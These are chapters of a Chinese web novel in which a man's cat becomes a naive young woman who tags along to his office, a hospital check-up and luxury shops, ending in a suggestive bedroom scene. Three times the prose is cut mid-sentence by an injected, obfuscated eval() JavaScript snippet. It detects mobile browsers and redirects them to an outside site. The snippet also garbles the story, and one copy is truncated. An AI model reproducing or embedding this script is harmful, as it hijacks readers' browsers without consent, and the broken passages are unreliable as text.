顾凝恬的学习能力很强,教几遍就懂了,也知道在什么样的情况下说什么样的话,顾涵稍稍放下了心,带着她出了门。 顾涵开着车,搭着顾凝恬来到大厦停车场,然后牵着她的手上到28楼,这里一整层都是他的公司,刚来到,迎面就碰上了公司的行政邱芸,她笑着跟顾涵打招呼:“顾总回来了,您要求的东西我都给您安排好了,就在办公室。” “好。”顾涵稍稍颔首,感觉到身旁的女孩身形有些僵硬,他牵紧了她的手,对她说:“这是邱芸,你以后可以叫她芸姐。” 顾凝恬有些迷糊地看着邱芸,脑海在飞速运转,她应该要说什么,她不知道啊,刚才学的没有教这个。于是她把目光转移到顾涵身上,扯了扯他的手袖,顾涵接话说:“她是顾凝恬。” 邱芸微微笑着,跟顾涵打趣:“哎?都姓顾,这位是您的妹妹吗?真漂亮啊,这头皮是怎么弄的,染的吗?” 顾涵视线下移,有些不自然地轻咳一声,把顾凝恬搂过来,对邱芸摇了摇头:“我没有妹妹。好了,让各个组把设计方案都提交一下,还有这段时间需要签的合同也一并拿过来。” 没有妹妹?邱芸挠了挠头,忍不住打量起顾凝恬来,见她眼神清澈,举止略带孩子气,横看竖看都不像是社会人,难道是……顾总的小女友! 比如:清澈大学生和霸总一见如故,从此亲亲我我不分彼此。 19. 喵 思至此,邱芸暧昧地对顾涵挤了挤眼,一副我懂得的表情,拿着文件一溜烟跑开了。 顾凝恬看看她,又看看周围,眼里都是新奇,感受到她的疑惑,顾涵拉着她往前走,穿过行政走廊,指了指墙壁上的LOGO说:“这是我的公司,无界设计。” 公司是什么?顾凝恬歪着头,懵懵懂懂地被顾涵带进一间办公室。 原本宽敞会客区被改造成了休闲区,地上铺设厚厚的羊毛地毯,软绵绵的布艺沙发围在外侧,正对面挂着一副大大的显示屏,一旁的支架上放着游戏手柄,积木,拼图等等娱乐的小玩意。 以猫猫现在这样的状态,把她独自一人留在家是不可能的,不安全,她没办法照顾好自己。所以顾涵干脆决定把猫猫带来一起上班,让邱芸帮他把办公室改造了一下。 顾涵把投屏打开,随便播放了点什么,揉揉顾凝恬的脑袋,俯身与她视线持平:“你就这里玩好不好,我去忙点工作。” 顾凝恬的眼神被视频内容吸引,盲目对着顾涵点头,自顾自坐在地毯上抱着玩偶,开始非常专注地看起电视。 顾涵见她安静下来,便放心地回到办公桌前开始处理文件。 办公室里,只剩下轻柔的背景音乐和顾凝恬偶尔发出的惊叹声。她时不时指着屏幕,对着玩偶小声嘀咕,活泼可爱,像是不谙世事的小朋友。 顾涵在办公桌后撑着手臂,目光静静地落在猫猫身上,淡淡的隐忧显现在他的眼底。 顾凝恬的外表看起来介于少女与成年女性之间,皮肤白皙细腻,眉眼间带着一种天真与懵懂,却又偶尔流露出几分成熟的神态。她的身形纤细,个子不算高,比如他186的身高,恬恬只到他的肩膀位置,但也不显得稚嫩,反而有种独特的灵动感。白色长发随意地披散在肩头,发梢微微卷曲,随着她的动作轻轻晃动,像一只慵懒的猫。 然而,她的行为举止却更像一个孩子——对周围的一切充满好奇,喜欢抱着玩偶,专注时会不自觉地歪着头,甚至偶尔会露出茫然的表情,仿佛对这个世界还不太熟悉。 不知道按人类的年龄来算的话,她成年了吗? 会不会她还是个小女孩? 邱芸推门进来时,看到的就是这样一幅温馨的画面,顾涵温情脉脉地注视着顾凝恬的一举一动。她轻手轻脚地走到顾涵身边,把合同放在他面前的同时,压低声音说:“顾总,会议室那边准备好了。” 顾涵点点头,起身时又看了眼顾凝恬,确认她依然沉浸在视频中,这才跟着邱芸离开。 然而,就在他们离开后不久,顾凝恬的注意力渐渐从屏幕上移开。她环顾四周,对这个陌生的环境充满了好奇。 她站起身,抱着玩偶开始在办公室里探索,最后坐到了顾涵方才的座位上,面前摆着许许多多的文件,顾凝恬对这些没兴趣,她推开来,发现底下压着几幅半成品手稿,旁边还有专用画笔和颜料。 会议结束已经是两个小时之后了。 顾涵迫不及待地想回到办公室看看顾凝恬在干什么。作为公司掌权人,让他完全抛下工作去陪猫猫是不太现实的,他只能在这二者中寻找一个平衡点。 推开门,电视的声音依旧存在,只是地毯上已经没有女孩的身影。 顾涵一怔,紧接着快走两步进来,在自己的办公桌看到了正在专注画画的顾凝恬。 她拿着铅笔,把他之前画了一半的概念图给补充完善了。 “你……”顾涵的声音戛然而止,目光落在她手中的画纸上,原本只勾勒出大致轮廓的设计图此刻已经变得栩栩如生。线条流畅而富有张力,细节处理得恰到好处,甚至比他预想中的效果还要出色。 顾涵不由得屏住呼吸,生怕打扰到她。 顾凝恬似乎完全没有注意到他的存在,依旧专注地低着头,铅笔在纸上轻轻滑动,发出细微的沙沙声。 顾涵心中涌起一阵复杂的情绪。 之前看到猫猫画简笔画的时候,他以为那已经是她的巅峰了,没想到真正的震撼是在这里,她的笔触虽然稚嫩,却充满了灵性和创意,甚至让他这个专业设计师都感到惊艳。 “你……怎么会画这些?”他终于忍不住开口。 顾凝恬这才抬起头,眨了眨眼睛,似乎有些茫然。她就是有一种感觉,觉得应该要这么画,所以她动手了。 顾涵笑了笑,坐在她的身边,握住她的手,教她正确勾勒立面图。两人靠的极近,顾凝恬的后背都贴到了顾涵的胸膛上,他的体温透过薄薄的衣料传递过来,温热的呼吸扫过她的肩颈,凉凉的,还有点痒,她缩了缩肩膀,一回头,迎面撞入了顾涵深邃的眼神。 好像变成人之后,视角也和从前不一样了。 以前顾涵在她心里的形象是高大的,可靠的,是令她可以放心依赖的主人。 而现在,他的荷尔蒙气息似乎比以前的还要强烈,像是无形的网将她整个人笼罩其中。 顾凝恬的心跳不自觉地加快,耳朵微微抖动,一种陌生的情绪在心底蔓延,像是猫儿被阳光晒得暖洋洋时的舒适,却又带着一丝说不清的紧张。 顾涵似乎察觉到了她的异样,低头看了她一眼,声音低沉而温柔:“怎么了?” 顾凝恬摇了摇头,脸颊微微泛红,像是被他的声音烫到了一般。她低下头,手指无意识地捏紧了笔,试图掩饰自己的慌乱。 猫猫咪呀,她这是怎么了,为什么她会感觉到紧张呢?她还满脑子都是主人的脸,他说话的声音甚至会自动在她的耳朵里不停回放。 顾凝恬狠狠闭眼,然后甩头,妄图把这些画面都清除掉。顾涵按住她的肩膀,关切道:“不舒服吗?” 顾凝恬皱眉沉声:“嗯……” 她不舒服了,她不喜欢这种心跳砰砰砰的感觉,很奇怪,她不理解自己为什么会这样,只能憋屈地起身回到地毯上抱着玩偶。 顾涵以为她是因为早上没给她吃生腌而发闷气。 他把邱芸带过来的合同处理完,走过去拍拍猫的肩膀,令她从膝盖窝抬起头:“走了宝贝,带你出去玩。” 出去玩! 虽然不知道去哪里,但能和主人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15062674|162624||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一起出去,不管去哪里顾凝恬都开心。她立马把刚才的感受都抛之云外,牵着顾涵的手上了车。 顾涵带着她来到了一家私立医院。 这家医院以保密性好而闻名,许多演艺界的明星都会选择来这里就诊,这也是顾涵选择来这里的原因。 猫猫突然变成人,他很担心会不会对她的身体造成什么影响,还是给她做个全面检查放心些。 挂号之后,顾涵牵着顾凝恬来到门诊室之外。 “宝贝,等会医生会给你做个全身检查,别怕。”顾涵耐心地给顾凝恬解释。她对医院的环境感到陌生,空气中弥漫的消毒水味道让她有些不适应。她抬头看向顾涵,眼神困惑。 “等会你要是感觉到哪里不舒服,就举手,明白吗?”顾涵抬了抬手臂,给顾凝恬示范,担心她真的应付不来,他絮絮叨叨又说了好些。 顾凝恬听明白了,对着他点头。 护士过来带着顾凝恬开始做检查,顾涵坐到休息区等她,心里却始终放不下。他时不时抬头看向检查室的方向,手指无意识地敲打着膝盖,显得有些焦躁。 虽然他知道这家医院的保密性和专业性都很强,但顾凝恬的特殊情况还是让他无法完全安心。 大约一个小时后,检查室的门终于打开了。 护士推着顾凝恬走了出来,她仰靠椅背而坐,看起来有些疲惫,但并没有表现出明显的不适。顾涵立刻站起身,快步走到她身边,顾凝恬见到他过来,双手一环就抱住了他的腰,额头在他的小腹左右蹭蹭。 猫猫累了。 那些不明所以的人在她的身上摸摸,又拿一些奇怪的东西让她身上贴,不知道是在干什么,她现在只想睡觉觉。 顾涵推着顾凝恬来到医生的办公室,把她安置在外侧,自己走进内室与医生交流。 医生是一个上了岁数的中年妇女,她看了眼顾涵,双眼不耐地露出生气的神色,顾涵有些不理解她的态度,刚坐下椅子,医生就朝他递来了报告。 “顾先生,顾小姐的身体状况很差,她营养不良。” 报告上营养不良几个字映入眼底的时候,顾涵说不清自己是什么感觉,震惊,颤抖,或许其中还掺杂着些许自责。 在当今这样的物欲社会,营养不良这词已经差不多被时代抛弃了,现在几乎家家户户的孩子都要控制饮食,担心营养过剩造成肥胖。 医生有些责怪地说:“你是怎么当哥哥的,自己妹妹营养不良都不知道吗?” 顾涵默默受着医生的责备没有说话。他确实忽略了顾凝恬的饮食问题,考虑她本体是猫,天天给她吃鱼肉,所以才导致营养摄入不均匀。 他沉了沉气,回复道:“请问有什么具体的建议吗?” 或许是见他态度认真,不像不负责任的人,医生的态度缓和了点。 “饮食上要增加富含蛋白质的食物,比如瘦肉、鸡蛋和豆制品,同时多补充新鲜蔬菜和水果。另外,可以适当补充一些维生素片,少量多餐,减轻肠胃负担,或者多喝全脂牛奶帮助增加能量摄入。” 20. 喵 顾涵垂下眼睫,阳光从窗户的缝隙中扫进来,遮掩在他的侧脸,为他敷上一层清冷的蕴意。他换了个坐姿,抬头时目光越过玻璃看向外面打着盹的女孩。 白色长发披在她的肩头,像是月光洒落的银丝,柔软而光滑,娇俏的鼻子一呼一吸,整个人迷迷蒙蒙地依靠在椅背。 还真是一只无忧无虑的小猫咪,什么都不懂,心思纯净的就像是未经世事的孩子。 顾涵收回眼神,重新对上医生:“好,我明白了。” 医生点了点头:“嗯,我等会会开点营养乳剂、维生素D滴剂、钙片给你带回去,半个月后你再带她来复查一次……对了,关于你要求测的骨龄,我们这边的报告出来了。” “根据顾小姐的左手腕部X光片来看,她的腕骨、掌骨及指骨的骨化中心发育良好,骨骼已是成熟形态,符合成年人的骨龄特征,年龄估算的范围幅度是在18~20岁。” 顾涵沉默着听完医生的话,暗暗在心里呼出一口气。 还好小猫已经成年了,不然她天天这么跟他黏在一起,他真怕自己会控制不住那些不该有的念头,毕竟他是个生理正常的男人,而顾凝恬虽然变成了人,但她的内心却依旧是一只猫,天真无邪,对他毫无防备。 顾涵出诊室的时候,正对上顾凝恬悠悠睁开的眼睛,她睡眼惺忪,看到顾涵过来,她早早朝他张开双手,等顾涵站定在她面前的时候,她马上就扑了上去,用鼻子蹭蹭他的小腹,又抬起头看着他的眼睛,晃晃头。 她想离开这里了,这里的味道好难闻,好刺鼻,呆在这里一点都不舒服。 顾涵明白她的意识,单手搂着她把她从椅子上提起来,牵住她的手,带着她往门口的方向走:“嗯,我们现在就走,恬恬今天这么乖配合医生检查,奖励你吃大餐。” 吃大餐! 猫猫的耳尖瞬间竖了起来,就像是猫一样,双眼亮晶晶的,双手抱着顾涵的手臂左右晃晃。 主人真好,她真的好想和主人永远永远在一起。真开心自己变成人了,这样就可以一直待在他身边了。 想到这里,顾凝恬停下了脚步,顾涵也跟着停下来,还以为她是哪里不舒服,刚想开口询问,没想到站在他面前的顾凝恬垫高脚尖,对着他的喉结轻轻一吻,随后用一种欣喜的眼神看着他,满满都是期待的情绪。 顾涵愣住了,喉结处传来的温热触感让他整个人僵在原地。他的心跳猛然加快,呼吸也变得急促起来,喉结不停地上下滚动,思绪瞬间变得混乱。 他低头看着顾凝恬,她纯真的表情,仿佛刚才的举动是再自然不过的事情。 “凝恬,你……”顾涵的声音有些沙哑,喉咙像是被什么堵住了,想说些什么却又无从开口。 他知道,顾凝恬并不懂人类的感情规则,她的行为完全是出于本能和依赖,但即便如此,他的心里依旧掀起了一阵波澜 顾涵深吸了一口气,努力让自己冷静下来。他轻轻揉了揉她的头发,温柔的语气中带着些许无奈:“凝恬,以后不可以随便亲别人,知道吗?” 顾凝恬眨了眨眼,似乎有些困惑,但还是乖乖地点了点头,她心里想:主人又不是别人。 顾涵开车带顾凝恬来到当地最大的奢侈品广场,这里汇聚了全球顶尖的品牌,从高端时装到精致珠宝,从奢华皮具到顶级化妆品,琳琅满目,令人目不暇接。 顾涵牵着顾凝恬的手走进广场的时候,她发出一声惊叹,像是被眼前的繁华景象吸引住了,对顾涵抬手指了指前面闪耀的灯牌。 顾涵搂着顾凝恬的腰,微微低头看着她的眼睛,见她这么兴奋,忍不住轻笑:“这么喜欢?那我们先去吃点东西,然后再逛逛。” 来到广场的饮食区,顾涵先是有意带着顾凝恬从每个店的门前都走了一圈,想试试她会喜欢吃什么。不能再像往日那样每顿都吃鱼了,她需要均衡饮食,首先便是确认她的口味,看看她会对什么菜品感兴趣。 玲琅满足的选择让顾凝恬挑花了眼。 她小猫咪哪里见识过这样的场景! 这里竟然,全部都是好吃的! 她甚至还闻到了以前做猫时闻不出的味道,好香啊! “想吃什么呢?”顾涵有意引导她,又教会她一些短小的指导性词语。 顾凝恬站在人来人往的广场区,路过的一对小情侣正一人拿着一个麦当劳甜筒在吃,两人甜蜜的肢体语言,吸引了她的注意。 他们在吃什么呢,为什么要你一口我一口的?那她和主人不是也可以这样吃? “这……这个……吃。”顾凝恬指着他们,张开嘴巴努力说着人话,虽然音调听起来有些怪,但不妨碍意思的表达。 对于顾凝恬做出的这个选择,顾涵有些无奈,他的本意是想让她选个主食,没想到她会看上这个。于是,他带着顾凝恬来到了麦当劳,买了一个甜筒,递给她。 想到猫猫从来没吃过冰激凌,顾涵温柔叮嘱:“一口一口吃,小心凉。” 顾凝恬看了他一眼,接着小心翼翼地伸出舌头,轻轻舔了一下甜筒的顶端。冰凉的触感和甜美的味道瞬间在她的口腔里蔓延开来! 这是一种从未有过的体验, 所以顾凝恬顿时亮起了眼睛,如果她现在还留有猫尾巴的话,估计这儿会愉快地摆动起来。 好好吃啊好好吃啊。 顾凝恬满脑子只剩下这个念头,吃到一半,她像是忽然想起了什么,猛地顿住,紧接着抬眸朝顾涵看去,把手臂举高,将甜筒递到他的唇边。 顾涵按住她的手腕,轻声说:“我不吃,这是买给你的。” 顾凝恬嘟着嘴巴摇头,撒娇要往他怀里挤,不依不饶地把甜筒往前凑,顾涵给她折腾的没办法,小小在边缘抿了一口,捏捏她的鼻子:“干什么呢?” 猫猫傲娇转头,宝蓝色的眼睛泛起波澜。 嘿嘿,她也跟主人吃同一个食物了呢。 怕再逛下去,顾凝恬又会看中其他的零嘴,所以顾涵干脆直接把她带到了一家专做饭食的餐厅。 这家餐厅的菜系涵盖川鲁粤淮扬,闽浙湘本帮,顾涵把所有的招牌菜都点了一遍,几乎涵盖了所有口味。 菜品上来的时候,乌泱泱地摆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15084065|162624||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 满了一桌,顾凝恬对着这一大桌的食物瞪了瞪眼,人类一顿要吃这么多吗? 顾涵用个小碗给她盛了饭,又夹了几样菜放在她面前,语气舒朗:“先尝尝这些,看看你喜欢哪种口味。” 顾凝恬低头看了看碗里的食物,她拿起勺子,笨拙地舀起一块红烧肉,小心翼翼地放进嘴里。试探性地咬了咬,细腻的肉香味入口即化。 好吃耶! 接着,顾凝恬又看向旁边的跟红烧肉一样是红色的麻婆豆腐,用勺子舀起来一点放进嘴里。 唔! 呸呸。 顾凝恬拿起茶杯猛灌一口,眼睛瞬间水汪汪,委屈地看向顾涵,拒绝地晃头。 “这是辣味,你不喜欢吃就别吃,我让她们撤走。”顾涵拍着她的后背给她顺气,一顿饭下来,他没吃多少,一直关注着顾凝恬的动静,琢磨出了她的口味。 首先就是吃不了辣,再然后就是不爱吃蔬菜,一顿饭下来,蔬菜类的她就只吃了两朵南瓜花,还是裹面糊油炸的那种,其余吃的最多的是肉类,尤爱吃没有蘸料的白切鸡。 不吃青菜怎么可以?顾涵试着往顾凝恬的碗里夹了点上汤桑叶:“宝贝,吃点这个,对你身体有好处。” 顾凝恬低头看了看碗里的上汤桑叶,有些抗拒地皱了皱鼻子,用勺子拨了拨那绿色的叶子,明显是不想吃。她用食指勾着顾涵的衣摆,皱着眉头对他说:“不要,猫猫不要吃……” 顾涵看着她那副可怜兮兮的模样,克制不住开始心软,他握住顾凝恬作乱的手,坚定心中想法,眼神从温和转换为凌厉:“听话,蔬菜对身体好,不能只吃肉,乖,就吃一口,尝尝看。” 顾凝恬丧气地转过头,听从主人的话,小心翼翼地舀起一小片桑叶,放进嘴里,咀嚼了几下,眉头微微皱起,但还是咽了下去。 见顾凝恬终于肯吃点青菜,顾涵鼓励地摸摸她的后颈,轻一下重一下地给她按摩:“我的猫猫真乖,这世界上我最爱的就是你了。” 最爱?顾凝恬像小动物一样歪着头,想不明白这是什么意思,又低头专心吃东西了。 饭后。 顾涵带着顾凝恬来到一家顶级奢侈品服装店。 店内的装潢极尽奢华,柔和的灯光洒在精致的衣架上,每一件衣服都像是艺术品般陈列在玻璃橱窗中。空气中还弥漫着一股淡淡的香水味,地面铺着厚实的羊毛地毯,踩上去柔软无声,仿佛每一步都踏在云端。 顾涵带着顾凝恬在休息区坐下,微微低头对上她的眼睛,小声询问:“来之前我教你的那些都记住了吗?” 顾凝恬非常认真地点头,回答:“记住了。” 如果有人问她衣服怎么样,她要说喜欢或者不喜欢,如果穿衣服的时候有困难,要说麻烦帮帮我,还要说谢谢。 得到肯定的答复,顾涵这才放宽了心。考虑到他是一个男人,等会试衣服的时候他帮不了忙,所以才让顾凝恬练习一些可能会发生的的情景语句。 导购端着两杯热茶递给他们,说:“二位好,我们店不仅有成衣系列,还提供定制服务哦,要试试吗?” 21. 喵 猫猫双手捧着水杯喝了一口,清澈的眼睛偷偷扫了顾涵一眼,她听不懂这个人讲的话,她在说什么? 顾涵柔和一笑,握着顾凝恬的手,用食指将她耳后的头发别起来,说:“给你买衣服,你喜欢哪件就试试看。” 导购适时插话:“这边都是我们最新季度的成衣,都可以试试的。”说着,她又递过来一本画册,一边展示一边说:“还有这些,是我们的定制款,上面的风格都可以选,具体的服装设计可以根据顾客的需求来定制。” “嗯。” 顾涵拉着顾凝恬起身,带着她在橱窗前走了一圈,导购微笑着跟在两人身后,指着主展示台上的一件连衣裙介绍说:“这件是我们最新季度的主打款,面料采用意大利进口的真丝,设计灵感来源于梵高的《罗纳河上的星夜》,裙摆采用深邃的蓝黑色渐变,营造出一种神秘而深邃的夜空感。” 顾涵顿住脚步,想象顾凝恬穿上的样子。 蓝色的裙子如星空般闪耀,跟契合她的宝蓝色眼睛。 “试试这个?”他低头询问,见顾凝恬用一种惊羡的目光怔怔地看着,情不自禁地迈出一小步,往裙摆摸了摸,深蓝渐变的丝绸在灯光下泛起星辉般的微光。 哇!好好看。 顾凝恬低头看了看自己现在身上穿着的裙子,迫不及待想把星星裙给换上了。 导购会意,赶紧把裙子取了下来,引着试衣间的方向:“这边请。” 许是因为工作日的关系,整个店铺只有顾涵二人光顾,因此店里工作人员都只为顾凝恬一个人服务,有专人做发型,有专人替她更衣,所以顾涵放心地坐在试衣间门前的沙发上,随意翻看高定宣传册,耳边传来试衣间内细微的动静,引得他时不时抬头看看。 试衣间内,顾凝恬站在镜子前,耳朵微微抖动,像是被自己的倒影吸引住了。店员细心地帮她整理着裙摆,轻声说道:“这件裙子真的很适合您,像是为您量身定做的一样。” 顾凝恬眨了眨眼,她是在夸她吗?主人说,受到帮助要跟对方说谢谢,这位姐姐刚才帮她穿衣服了。 “谢谢。”她小小声地说,拼尽全力让自己咬字清晰。 店员微笑着帮她整理好头发,将顾凝恬的一头白色长发盘在了后脑,用发钗固定,这样的露肩发型能更好看出衣服的上身的效果。 过了一会儿,试衣间的门缓缓打开,顾凝恬走了出来。蓝黑色的连衣裙贴合着她的身形,裙摆微微摇曳,像是夜空中闪烁的星光,再配合她的蓝色竖曈,整个人看起来既神秘又带着一丝猫科动物的灵动。 顾涵看着她,深邃的眼神里慢慢浮现出一层惊艳。他走上前,轻轻整理了一下她的裙摆,语气温柔:“很适合你,很美。” 顾凝恬眯眼笑着,在顾涵的面前开心地转起了圈圈,裙子随着她的动作如水波般荡漾,她张开双手,抱住顾涵的腰,指了指自己的心口,又拍拍裙摆。 她好喜欢好喜欢这个。 真的太好看了,难怪人类要穿衣服,原来她们的衣服都这么好看! 顾涵看了看价格标签,五位数,虽然不菲,但他毫不犹豫地点了点头:“包起来。” 店员点头应是,看了眼兴奋的顾凝恬,眸中闪过为难,被顾涵注意到。 “怎么?” 店员的目光在顾凝恬和顾涵两人的身上来回梭巡,见他们姿态亲密,应该是情侣,于是放开顾忌说:“其实也没什么,主要是这种露肩的裙子,最好搭配无肩带内衣会更好。” 顾涵耳朵微热,清隽的脸上闪过一丝尴尬。 他确实没有考虑到这些细节,毕竟顾凝恬的内衣是他随便选的,他一个男人,根本不懂这些讲究。他轻咳了一声,试图掩饰自己的不自在,转头对店员说道:“那麻烦你帮她挑选几件合适的内衣。” 店员微笑着点点头,语气专业而温和:“好的,请跟我来。” 顾凝恬有些困惑着被店员带去了内衣区。 这个区域距离顾涵有点远,中间还有玻璃墙隔着,店员看了眼顾凝恬,为她挑选了几套符合她尺码的无肩带内衣,之后压低声音说:“这几款都是我们店里的热销款,很受情侣的欢迎……比如这种高透蕾丝,能勾勒出身体的曲线,给人一种若隐若现的诱惑感,之前刚上货就卖断了,现在这些都是昨天回来的。” 顾凝恬一脸茫然地听着,根本不理解她在说什么,也不知道自己该说什么。 她只会说:好的,谢谢,麻烦了,好吃、难吃…… 哎呀,她到底在说什么啊,猫猫根本听不懂什么意思——顾凝恬挠挠腮帮子,急切地想说些什么,可张了张嘴,发现自己无话可说,最后只能紧紧抿唇,憋出脸红。 店员还以为她是不好意思,继续自顾自地说:“没事的,隔这么远你男朋友听不到的,我跟你说,你完全可以买回去试试,到时候给他一个惊喜,男人最吃这一套了,还有还有,这里还有丁字裤,我给你选一款,放心,包满意的。” 惊喜? 顾凝恬心尖一动。 穿这个就能给主人惊喜吗?是不是开心的意思?那她想让主人开心。 “这些等会我都给你单独包起来,不让他发现,这样回家之后,你就可以悄悄换上去了。”店员非常贴心地给出建议。 喔……顾凝恬挑了挑眉,她说的有道理,悄悄换上去然后再出现在主人面前,那他肯定会很开心。 这么一想想,她就迫不及待地想要回家了呢。 从内衣区回来,见顾涵依旧姿态矜贵地坐在那里,顾凝恬藏不住自己的小心思,活跃地对着顾涵眨眼睛。 顾涵没细想,以为她是买新衣服兴奋而已,他指了指画册上的旗袍和鱼尾晚礼服款,让裁缝过来给顾凝恬量尺寸,做定制款,之后带着她离开,他们买下的衣服店员会安排直接送到家。 “这么开心?”顾涵看着顾凝恬嘴角下不去的笑意说,伸手捏了捏她的侧脸,她软萌萌的脸蛋一皱,顾涵唇角勾起,牵着她的手来到香奈儿,打算给她买鞋子。 怕顾凝恬不适应,顾涵给她穿的一直都是一双软底拖鞋,现在,是时候要把它换掉了。 玻璃展柜里,当季新款一字排开。 顾涵一眼就相中了那双黑色玛丽珍鞋,鞋面采用柔软的羊皮材质,鞋头点缀着一枚小巧的金色马蹄扣,既优雅又不失俏皮。 "试试这双。"他示意店员取来36码,接着让顾凝恬坐下,自己半蹲在她面前,为她脱下鞋子。 男人温热的掌心擦过她的脚底,顾凝恬有些紧张地缩了缩脚,又被顾涵抓着脚踝拉了回来,抬眼:“乖,别动,你要换新鞋子。” 顾凝恬撅了噘嘴,她不喜欢穿鞋子,感觉穿上之后都没有以前走路那么快了,可是主人跟她说,不穿鞋子走路会脚痛……算了算了,可能他们人类就是这么麻烦的吧。 顾涵黑色的发顶近在眼前,毛茸茸的看上去手感很好,顾凝恬生出了作弄的小心思,五指插入他的发顶,来回揉弄,就像顾涵以前揉她的猫肚子时候一样。 揉了头发顾凝恬还不满意,又把手伸向顾涵的额头,摸了摸他的眼皮,又摸了摸他的鼻尖,最后被他的下巴上的胡茬刺到才收回手。 顾涵的短发被她揉得凌乱,几缕碎发垂在额前,衬得眉骨愈发深邃,“玩够没?”他半跪在地毯,掌心托着少女纤细的脚踝,接着打开鞋扣给她套上脚。 顾凝恬歪着头,抬腿晃了晃脚,鞋子很软,穿上去很合脚,比穿之前那双鞋子舒服,她站了起来,在顾涵面前跳动两下,宛如小动物似的在展示自己。 顾涵宠溺看她,让店员把鞋子包好,接着又带顾凝恬去看女包。虽然现在的她还不懂这些,但他想,顾凝恬迟早是要融入人类生活的,别人女孩出门都有包包,不能就她没有,所以又给她订了几个经典款皮包,一起和鞋子装好让门店送回家。 逛了一整天,顾凝恬耷拉着肩膀,像是有些疲惫,但眼神里依旧闪烁着兴奋的光芒。她紧紧拉着顾涵的手,心里感到无比安心。 顾涵捏捏她的后颈给她放松,带着她上电梯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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顾涵强忍着闭了闭眼,心中叹了口气,站直腰,双手捧着她的脸蛋揉了揉:“喜欢就买,进去试试。” 顾凝恬眼睛一亮,立即欢快着跑进店里,一时指着这个一时指着那个。她没有购买和金钱的概念,她以为自己要自己喜欢的都可以拿走,所以她点了十几条项链一条一条地带起来,又试了试手链,耳环她也喜欢,可惜她没有耳洞,戴不上只能作罢。 店员们看着她那副天真无邪的模样,忍不住笑了起来,但依旧保持着专业的态度,细心地为她取下和戴上每一件珠宝。这时,顾凝恬戴着一条蓝宝石项链朝顾涵走过来,抓着他的手蹦了两下,开心极了。 顾涵伸手摸了摸项链的主石,宝石色泽浓郁如深海,周围镶嵌着一圈细密的钻石,像是星辰环绕着月亮,璀璨而优雅,很搭配今天买的那条星空裙。 “帮我订下。”顾涵对店员说,又指了指顾凝恬刚才看中的手链和Choker:“连这些一起。” “好。”店员应声拿出礼盒将珠宝装好,把账单递给顾涵:“先生,一共是一千六百万元。” 离开宝格丽的时候,顾凝恬正戴着刚买的项链,蓝宝石的光芒在她的颈间闪烁,与她的银白色长发交相辉映,像是森林中的精灵少女,充满元气。 顾涵牵着她往前走,顾凝恬却忽然甩开了他的手,没等顾涵回头,顾凝恬从背后一跳,双手箍住顾涵的脖子,整个人趴在他的后背上,嘴里断断续续地说:“开心开心开心。” 顾涵也被她逗笑了,双臂用力抓住女孩的手,将她抱到胸前,帮她捋捋弄乱的头发:“看你,开心到头发都散了。” “嗯嗯嗯。”顾凝恬回应着他,主动拉着顾涵的手向前走。 两人回到家时,天空已从深蓝逐渐过渡到墨色,暮色像一层薄纱缓缓笼罩下来。 晚餐依旧是让酒店送过来的,看着尚不会使筷子的顾凝恬,顾涵陷入了沉思,这样下去不是办法,他需要找专业的营养师来家里照顾恬恬的一日三餐,万一他哪天又要临时加班,也好有人帮忙照顾她。 顾凝恬不知道他的所思所想,她埋头吃饭,心里想的是另一件事,刚一吃饱,她立即就站起来,跟顾涵示意自己要去洗澡。她现在可以独立洗漱了,不用别人帮忙。 顾涵点点头,顾凝恬便一溜烟地跑回了自己房间,拿出了服装店给她打包好的那套内衣。 要怎么样才能给主人惊喜呢? 22. 喵 她双手托腮,盯着酒红色的蕾丝布料看了又看,神游着伸出食指,勾了勾那内衣的带子——哎!有了,她想到了! 顾凝恬兴冲冲地跑进了浴室,十多分钟后,她裹着浴巾出来,把身上的水滴尽数擦干,对着全身镜开始捣鼓,折腾来折腾去,才终于把内衣给穿上了。 镜中的自己肤如凝脂,腰肢纤细,胸前沉甸甸之物被布料包裹。顾凝恬原地转了一圈,喜滋滋一笑,她长得好好看耶,主人肯定会为她着迷的! 于是乎,她把浴袍裹身上之后就出门了,急急忙忙下楼来到客厅,沙发上没有顾涵的身影,顾凝恬在餐厅和吧台附近转悠了一圈也没见到他人。 她嗅嗅鼻子,顾涵的味道还存留在空气中,她顺着这道气息返回楼上,站在了顾涵的卧室门前,握住门把手,偷偷伸了颗脑袋进去。 咦?人呢? 看到房中没人,顾凝恬直接把门打开走了进去,站在房间中央,听见隔壁浴室响起淅沥沥的水声,磨砂玻璃映出男人若隐若现的高大身影。 原来是去洗澡了。 顾凝恬坐下顾涵的床,又在他的被子里打滚两圈,把脸埋进蓬松的羽绒枕,鼻尖立刻被熟悉的雪松香包裹——那是顾涵身上的味道,她满足地蹭了蹭,抱着被子把自己裹成一团,像年糕似的,却在听到浴室门锁"咔嗒"转动的瞬间僵住。 水汽蒸腾着漫进卧室,顾涵腰间堪堪围了条浴巾,发梢的水珠顺着锁骨滑过胸肌。他擦头发的动作顿在半空,毛巾在指节绞出褶皱。 少女正趴在他的枕头上,真丝浴袍卷到了腿根,银白长发散落在她的肩头,脚踝上缠绕着他方才解下的领带。 